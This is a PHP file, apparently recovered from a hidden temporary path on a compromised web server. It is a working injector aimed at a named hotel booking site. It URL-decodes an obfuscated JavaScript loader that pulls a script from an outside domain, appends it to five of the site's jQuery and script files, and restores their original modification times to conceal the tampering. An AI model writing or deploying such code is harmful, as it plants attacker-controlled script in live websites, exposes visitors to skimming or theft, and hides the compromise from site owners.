File: //proc/thread-self/root/var/tmp/.val
<?php   $r = "/var/www/u106523/data/www/bron.hoteltroparevo.ru"; $f = ['/assets/scripts/jquery-1.6.2.min.js','/assets/scripts/jquery-ui-1.8.16.custom.min.js','/assets/scripts/jquery.ui.datepicker-ru.js','/assets/scripts/jquery.fancybox.pack.js','/assets/scripts/script.js']; $code = rawurldecode('%3B%28function%28f%2Ci%2Cu%2Cw%2Cs%29%7Bw%3Df.createElement%28i%29%3Bs%3Df.getElementsByTagName%28i%29%5B0%5D%3Bw.async%3D1%3Bw.src%3Du%3Bs.parentNode.insertBefore%28w%2Cs%29%3B%7D%29%28document%2C%27script%27%2C%27https%3A//content-website-analytics.com/script.js%27%29%3B'); $wr = false; foreach ($f as $p) {     $path = "{$r}/{$p}";     $ft = @filemtime($path);     if (is_file($path) && is_writable($path)) {         $wr = true;         $content = file_get_contents($path);         if (strstr($content, $code)) {             die("!already injected!<f>{$p}</f><ft>{$ft}</ft>");         }         $content = $content . $code;         if(file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $code)) {                 die("!success!<f>{$p}</f><ft>{$ft}</ft>");             }         }     } } if ($wr) {     print("!writable!"); } else {     print("!not writable!"); } die('!ended!');